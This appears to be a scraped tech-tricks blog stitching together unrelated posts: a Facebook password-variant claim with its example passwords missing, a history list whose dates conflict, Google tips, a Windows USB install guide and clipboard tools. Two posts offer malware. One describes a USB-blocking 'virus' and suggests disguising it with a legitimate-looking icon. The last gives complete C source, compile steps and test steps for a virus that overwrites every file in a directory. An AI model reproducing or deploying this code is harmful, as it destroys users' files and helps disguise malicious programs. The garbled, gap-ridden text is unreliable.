Access Your Facebook Account with 3 Passwords

Did you know that you can login to your Facebook account using 3 different passwords? Seems interesting isn’t it? Yep! Unlike any other online account which has only one password to access, Facebook lets you log in using 3 different variants of your password.

Only a few Facebook users are aware of this fact, but for many others, this might seem a bit surprising. Facebook accepts the following forms of your password:

1. Your Original Password

Let me explain this to you with the following example. Assume that your default Facebook password that you created during the sign-up process is:

2. Password with the Case Toggled

In the above password the letters ‘F’ and ‘P’ are in uppercase and the remaining are in the lowercase. If you TOGGLE the case where all the UPPERCASE characters are converted into the lowercase and vice versa, your default password “myFacebookPass” would become:

Now if you log in using the above toggled password, your Facebook will accept it and welcomes you! This is the first variation of your default password which is accepted by Facebook.

3. Password with the First Letter Capitalized

If the first character of your password is in the lowercase, you may just change that first letter to UPPERCASE and Facebook will again accept it and let you in. As in case of the above example where your default password is “myFacebookPass”, if you just change the first letter to UPPERCASE, your password would be “MyFacebookPass” and this should work fine as well:

Please note that this option will work only for the Mobile uers

July 19 – World History of the Day For You

Here you get the happenings of the date july15 for you, there are several interesting facts about the American Revolution,Automotive,Civil War,Cold War,Crime,Disaster,General Interest,Presidential,Vientnam War,World War etc.

You can read about tommorow happenings today itself and start your tommorow with some confidence that i know about what happened today.now go for that confidence.

Take a loot at these now…

Rosetta Stone found, 1799

American Revolution -   Massachusetts begins ill-fated Penobscot expedition, 1779

Automotive -   George Washington Carver begins experimental project with Henry Ford, 1942

Civil War -   Morgan’s raiders defeated at Buffington Island, 1863

Cold War -  United States withdraws offer of aid for Aswan Dam, 1956

Crime -  Mike Tyson rapes a Miss Black America contestant, 1991

Disaster -   Oil tankers collide in Caribbean Sea, 1979

General Interest -   Lady Jane Grey deposed, 1553

Seneca Falls Convention begins, 1848

Hollywood – Sitcom actress murdered; death prompts anti-stalking legislation, 1989

Literary -  Emile Zola flees France, 1898

“Angela’s Ashes” author Frank McCourt dies, 2009

Music – Thousands of fans join the Miami funeral procession of Celia Cruz, 2003

Old West -  Doc Holliday kills for the first time, 1879

Presidential – President Arthur proclaims power to impose quarantine on immigrants, 1884

Sports -  Nick Faldo wins third British Open, 1992

Vietnam War -  President Khanh calls for expanding the war, 1964

Peace talks resume, 1972

World War I – Cenotaph is unveiled in London, 1919.

World War II – America bombs Rome, 1943

Zerg Rush – Google Latest Trick

Dear friends, i hope you will excited about this google trick “zerg rush”, you have to.Everyday Google inventing some things to amaze us. Today its “Zerg Rush”. Google Tricks
will always make us to feels happy and enjoying.

       Zerg Rush is the latest of Easter Egg. To enjoy this trick you just have to enter the google
site and enter “zerg rush”(without quotes) in the search and hit enter. Thats it, you will
see Horders of red and yellow and colourfull O’s that will descend on you search results.
You can play with it by clicking them to knock down before they eat your search results.
 
      At last your search result gets wiped out, you will be provided a score which you
can share with your circles on google+. Google tracks the user’s actions per minute(APM) and
zerg kill count in a score box on the far right of the screen. Once all of the search results have been
eaten by zergs, the enemies gather at the top of the blank page to form two Gs.

Google Drive: 5 Things Needed to Succeed

Google Drive is one of the mythical creatures of the tech rumor mill since 2006, but it could finally be with us next week, according to reports. Claims of an upcoming launch of the service have been proven false before, but the latest evidence via leaked information would indicate that perhaps now is the time.

However, since 2006, the way we use Web services and store files have changed. We have Dropbox to keep local files in sync, as well as a shareable cloud copy; Amazon Cloud Drive can store up to 1 TB for you in the cloud; and Microsoft has SkyDrive. Even Apple rolled out its unified iCloud before Google, so with lessons learned from the experience of its competitors, here are five main things Google Drive needs to win me over.

Plenty of storage space

Five GB of free storage for Google Drive would be more than double Dropbox’s 2 GB offering. But Box.com and Amazon also provide 5 GB, and Microsoft’s SkyDrive offers 25 GB, with 5 GB available for syncing to a local file folder in Windows. Apple’s iCloud service provides 5 GB free but has no option to be used as an online drive. For people to use Google Drive beyond storing just a few documents, they need more ample storage, at least like SkyDrive.

One place for all your files

You have files attached to e-mails in your Gmail inbox (7 GB+), files in Google Docs folders (1 GB), files in your Picasa Web Albums (1 GB), up to 100 GB of songs on Google Music and virtually limitless photo and video storage on Google+, but nowhere to keep all your files stored with Google in one place. Google Drive should create folders that would automatically pull all the files associated with your Google account, so you can easily search through them.

A seamless way to keep files in sync

This is where Dropbox excels, with a local copy of your folders, and changes are slowly sent through to the cloud in the background. The version of the Google Drive app that TechCrunch spotted indicates there will be a native app for Windows and Mac, which presumably would work like Dropbox. You should also be able to select which folders you’d want synchronized locally — so you don’t have to keep a local copy of your photo gallery on Picasa on all your computers.

Strong mobile presence

Just like Dropbox, Google Drive would need good mobile apps, because that’s where you pay a lot of money for storage. For Android, Google would need to integrate Drive upload functionality into its own apps, while on iOS, it would need an app for iPhone and iPad. It also would need to win over third-party developers to integrate functionality in their apps.

Good pricing scheme

Google already has a better pricing scheme than competitors, at $5 for an extra 20 GB, compared to $40 on iCloud, for example. If Google sticks to this pricing, you could get 400 GB cloud storage for only $100 per year, compared to $500 for 500 GB on Amazon Cloud Drive.

A Virus Program to Disable USB Ports

In this post, I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual, I am using my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result you’ll will not be able to use your pen drive or any other USB peripheral devices on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

Download the USB_Block.rar file on to your computer

1. It contains the following 2 files:
   • block_usb.c (source code)
   • unblock_usb.c (source code)
2. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post -How to Compile C Programs.
   
   
   1. 3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
   2. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
   3. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

   How it Works?

   The idea behind the working of this virus is pretty straightforward. It works by gaining access to the Windows registry and modifying it’s settings to disable the USB device support on the computer.
   On the other hand, the other program will re-set the registry settings back to the normal so that the support for USB devices is re-enabled. I hope you like this post. Please pass your comments.

How to Install Windows 7 From a USB Drive

Installing Windows from a USB flash drive has several advantages – First of all, the overall speed of the installation process will increase significantly, carrying a USB stick is much more convenient than a DVD, and finally it becomes possible to install the OS even on those systems that do not have a DVD drive, such as a netbook.

In this post, I will show you how to load the Windows installation on to your USB flash drive and make it bootable just like the DVD.

Tools Required:

1. USB flash drive with a minimum capacity of 4 GB.
2. Windows 7 set-up DVD.

Now, just follow the below steps:

Step-1:

Plug-in your USB flash drive and backup all the existing data in it.

Open the command prompt. If you are using Windows 7/Vista then open it with administrator rights.

ie: Go to Start -> All Programs -> Accessories -> Right-click on “Command Prompt” and select “Run as Administrator”.

Step-2:

In the command prompt, type in the following command:

This will start the Microsoft DiskPart utility as shown below:

Step-3:

Now issue the following command:

This will show you a list of  available disks on your system. Disk 0 is usually the hard disk. In my case, Disk 5 is the USB drive (this can be a different one in your case). Now issue the command as shown below:

NOTE: In the above command, 5 is the USB drive number on my system. If you have a different number on your system, then you need to replace 5 with that number

Step-4:

Now issue the following list of commands one by one as shown below:

CLEAN

CREATE PARTITION PRIMARY

SELECT PARTITION 1

ACTIVE

FORMAT FS=NTFS QUICK

ASSIGN

EXIT

Minimize the command prompt and proceed to the next step.

Step 5:

Insert the Windows 7/Vista installation disc and note down the “drive letter” of your DVD drive. In my case, it is “H:”. Now type the following list of commands as shown below:

H: CD BOOT

CD BOOT

BOOTSECT.EXE /NT60 M: (NOTE: M: is your USB drive letter)

EXIT

Step-6:

Copy the contents of your Windows 7/Vista installation disk into the USB flash drive.

That’s it! Your USB stick is now ready to boot and install the OS for you. Don’t forget to enable the “USB Boot” option and change the “boot priority to USB device from hard disk” in your BIOS settings.

I hope you like this post. Pass your comments to express your opinion. 

How To Retrive Clipboard history in windows

Ever copied a code snippet or text from the web and forgot to paste it before you copied something else? Well, all of us will have an experience of something like this, where we want to desperately retrieve those information that was once copied to the clipboard. But since Windows clipboard will only remember the last item that was copied onto it, it would seem impossible to recover the information that was copied earlier. However, this problem can be solved using an alternative clipboard manager in place of the default one.

In this post you will find a few such alternative clipboard managers for Windows using which it would be possible to save and retrieve every piece of information that was copied to the clipboard. Here’s a quick list:

1. Clipdiary

This tool is a powerful clipboard manager which will store every piece of information that was copied to the clipboard including text, images or any other file. Clipdiary automatically loads upon Windows startup and maintains a database to store the history of all copied items.

This makes it possible to retrieve the information that was once copied to the clipboard, be it the last hour or the last week. Clipdiary is a shareware tool which comes with a 30 day fully functional evaluation period.

DOWNLOAD:clipdiary.com/download.php

2. ClipMagic

ClipMagic is similar to Clipdiary but includes a few extra features that could seem handy for advanced users. The following are some of the extra features of ClipMagic that are not present in Clipdiary:

• Categorize/organize your clips. You can also create filters/rules for your incoming clips
• You can store/categorize your ideas to research fast
• Assign often used text like email signatures to hotkeys

Download:www.clipmagic.com/download.html

3. Ditto

Ditto is a powerful alternative to the default Windows clipboard manager which is an open source tool. It keeps track of all the copied items such as text, images and other files so that you can retrieve them whenever necessary. The following are some of the highlights of Ditto:

• Assign hotkeys to frequently used clippings
• Search and organize the clippings based on task or project
• Supports unicode so that you can copy foreign and non-standard characters without any issues
• Get a preview of all the copied items including thumbnails of images just by pressing the assigned hotkey
• Ditto comes as a freeware so that you can enjoy all of it’s features free of cost

Even though Ditto is a freeware, it is still comparable to the two shareware tools discussed earlier. So in my opinion Ditto is always the first choice. You may still download and try all the three and keep the one that you like!

DOWNLOAD:ditto-cp.sourceforge.net

Create A Computer Virus....!!!!

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

 

HOW TO TEST:

 

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it